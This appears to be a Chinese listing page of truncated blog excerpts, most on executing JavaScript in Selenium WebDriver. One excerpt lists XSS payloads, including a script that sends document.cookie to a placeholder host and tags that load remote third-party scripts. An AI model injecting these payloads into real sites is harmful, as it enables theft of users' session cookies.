今天一个朋友问我问题 考虑了下直接上代码,这是伪代码不能执行,但是给出了思路 代码 url = 'http://www.qingmiaokeji.cn/test.js' res = urllib.request.urlopen(url=url) js_source = res.read().decode('utf-8') driver.execute_script(js_source) 更多精彩内容请访问 个人博客[程序猿和媛]…
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script> 简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议 <script src=//xxx.xxx/a.js></script> img图片 图片创建script节点,链接远程第三方JS <img src=x oner…
在用selenium webdriver 编写web页面的自动化测试代码时,可能需要执行一些javascript代码,selenium本身就支持执行js,我们在代码中import org.openqa.selenium.JavascriptExecutor;就可以使用executeScript.executeAsyncScript这两个方法了,其中executeScript是同步方法,用它执行js代码会阻塞主线程执行,直到js代码执行完毕:executeAsyncScript方法是异步方法,它不…
在代码中import org.openqa.selenium.JavascriptExecutor;就可以使用executeScript.executeAsyncScript这两个方法了 executeScript是同步方法,用它执行js代码会阻塞主线程执行,直到js代码执行完毕:executeAsyncScript方法是异步方法,它不会阻塞主线程执行. executeScript方法如果有返回值,有以下几种情况:如果返回一个页面元素(document element), 这个方法就会返回一个W…
代码要多敲 注释要清晰 最后的两种方法,没有实现我想要的结果 有知道的朋友,给我留言吧 #执行js语句 from selenium import webdriver import time #生成浏览器 driver = webdriver.PhantomJS() #访问 driver.get('http://www.baidu.com') time.sleep(4) #截屏并保存 driver.save_screenshot('baidu/index1.png') #1.通过js改变页面控件的…
虽然把WebDriver定义为一个静态变量了,但是每次执行测试都要打开多个窗口,挺浪费时间的. 找了很多中方法,比如使用setUpClass, BeforeSuite都没有完全解决问题.后来无意间发现初始化方法每次都调用setUp方法,索性试着不让子类实例化的时候执行setUp方法,竟然解决了启动多个浏览器窗口的问题! 留下来做个记录: 父类头:public class TestBase_Web extends TestCase { 子类头:public class TestActivityPa…
@Test public void testElementByID() { //通过JS获取页面元素 driver.get(url); driver.manage().window().maximize(); try { Thread.sleep(500); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } String js = "var user_input…
有不少朋友在开发爬虫的过程中喜欢使用Selenium + Chromedriver,以为这样就能做到不被网站的反爬虫机制发现. 先不说淘宝这种基于用户行为的反爬虫策略,仅仅是一个普通的小网站,使用一行Javascript代码,就能轻轻松松识别你是否使用了Selenium + Chromedriver模拟浏览器. 我们来看一个例子. 使用下面这一段代码启动Chrome窗口: from selenium.webdriver import Chrome driver = Chrome() 现在,在这个…
selenium webdriver学习(三)------------执行js脚本 博客分类: Selenium-webdriver   在用selenium 1.X的时候常常会用到getEval()方法来执行一段js脚本来对页面进行处理,以处理一些遇到的问题.当然selenium webdriver也提供这样的一个方法:executeScript() import org.openqa.selenium.JavascriptExecutor; import org.openqa.seleniu…
直接设置value属性, 此方法主要应对输入框自动补全以及readonly属性的element,sendkeys不稳定 比如: Demo:用JS输入 import org.openqa.selenium.By; import org.openqa.selenium.JavascriptExecutor; import org.openqa.selenium.WebDriver; import org.openqa.selenium.firefox.FirefoxDriver; /** * @au…